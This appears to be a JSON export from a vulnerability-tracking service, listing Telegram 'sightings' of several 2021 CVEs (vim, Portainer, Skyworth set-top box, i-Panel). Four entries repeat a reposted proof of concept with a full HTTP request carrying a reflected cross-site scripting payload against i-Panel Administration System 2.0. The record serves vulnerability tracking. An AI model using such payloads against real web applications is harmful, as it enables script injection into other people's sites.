{"vulnerability": "cve-2021-4187", "sightings": [{"uuid": "fb94e02f-fb2e-4ee0-8f65-14ccc810e433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4187", "type": "seen", "source": "https://t.me/cibsecurity/34747", "content": "\u203c CVE-2021-4187 \u203c\n\nvim is vulnerable to Use After Free\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-29T20:31:25.000000Z"}, {"uuid": "491a9e26-0f1e-48f9-b94f-933b7e2c9803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "seen", "source": "https://t.me/cibsecurity/29860", "content": "\u203c CVE-2021-41878 \u203c\n\nA reflected cross-site scripting (XSS) vulnerability exists in the i-Panel Administration System Version 2.0 that enables a remote attacker to execute arbitrary JavaScript code in the browser-based web console.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-04T16:23:16.000000Z"}, {"uuid": "3b155fa9-8cdc-4154-a8c8-1f64a24482b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41874", "type": "seen", "source": "https://t.me/cibsecurity/31476", "content": "\u203c CVE-2021-41874 \u203c\n\nAn unauthorized access vulnerabiitly exists in all versions of Portainer, which could let a malicious user obtain sensitive information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-29T22:18:28.000000Z"}, {"uuid": "96a8f9c6-70ce-40fd-b209-9f3e9dc8b1b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41872", "type": "seen", "source": "https://t.me/cibsecurity/31269", "content": "\u203c CVE-2021-41872 \u203c\n\nSkyworth Digital Technology Penguin Aurora Box 41502 has a denial of service vulnerability, which can be exploited by attackers to cause a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-27T16:15:58.000000Z"}, {"uuid": "0ebfd3c5-adf6-4808-aa04-98974a8f02b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41873", "type": "seen", "source": "https://t.me/cibsecurity/31208", "content": "\u203c CVE-2021-41873 \u203c\n\nPenguin Aurora TV Box 41502 is a high-end network HD set-top box produced by Tencent Video and Skyworth Digital. An unauthorized access vulnerability exists in the Penguin Aurora Box. An attacker can use the vulnerability to gain unauthorized access to a specific link to remotely control the TV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-26T16:14:54.000000Z"}, {"uuid": "daf93527-81fa-43ce-8d0e-08463b5c31ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "seen", "source": "https://t.me/hacking_Attack/27779", "content": "Exploit Collector\ni-Panel Administration System 2.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \ni-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 39d10d230c9465bc30c644f1917dd5f9\n\nDownload\n# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)\n# Date: 04.10.2021\n# Exploit Author: Forster Chiu\n# Vendor Homepage: https://www.hkurl.com\n# Version: 2.0\n# Tested on: Chrome, Edge and Firefox\n# CVE: CVE-2021-41878\n# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html\n\nAs a proof of concept, an alert box can be generated with the following payload.\nExploit PoC:\n\nGET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1\nHost: Forster\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nCookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept-Language: en-gb\nAccept-Encoding: gzip, deflate\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.584487Z"}, {"uuid": "5cc004df-5df2-4360-a505-8981bc03a6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "seen", "source": "https://t.me/hacking_Attack/27779", "content": "Exploit Collector\ni-Panel Administration System 2.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \ni-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 39d10d230c9465bc30c644f1917dd5f9\n\nDownload\n# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)\n# Date: 04.10.2021\n# Exploit Author: Forster Chiu\n# Vendor Homepage: https://www.hkurl.com\n# Version: 2.0\n# Tested on: Chrome, Edge and Firefox\n# CVE: CVE-2021-41878\n# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html\n\nAs a proof of concept, an alert box can be generated with the following payload.\nExploit PoC:\n\nGET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1\nHost: Forster\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nCookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept-Language: en-gb\nAccept-Encoding: gzip, deflate\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.516857Z"}, {"uuid": "ead6c119-da17-41d0-aa97-424c76a1d450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27779", "content": "Exploit Collector\ni-Panel Administration System 2.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \ni-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 39d10d230c9465bc30c644f1917dd5f9\n\nDownload\n# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)\n# Date: 04.10.2021\n# Exploit Author: Forster Chiu\n# Vendor Homepage: https://www.hkurl.com\n# Version: 2.0\n# Tested on: Chrome, Edge and Firefox\n# CVE: CVE-2021-41878\n# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html\n\nAs a proof of concept, an alert box can be generated with the following payload.\nExploit PoC:\n\nGET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1\nHost: Forster\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nCookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept-Language: en-gb\nAccept-Encoding: gzip, deflate\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T08:00:08.091548Z"}, {"uuid": "83fc3fb6-05b0-4c94-a84e-bb5007cca42c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27779", "content": "Exploit Collector\ni-Panel Administration System 2.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \ni-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 39d10d230c9465bc30c644f1917dd5f9\n\nDownload\n# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)\n# Date: 04.10.2021\n# Exploit Author: Forster Chiu\n# Vendor Homepage: https://www.hkurl.com\n# Version: 2.0\n# Tested on: Chrome, Edge and Firefox\n# CVE: CVE-2021-41878\n# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html\n\nAs a proof of concept, an alert box can be generated with the following payload.\nExploit PoC:\n\nGET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1\nHost: Forster\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nCookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept-Language: en-gb\nAccept-Encoding: gzip, deflate\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:54.808042Z"}]}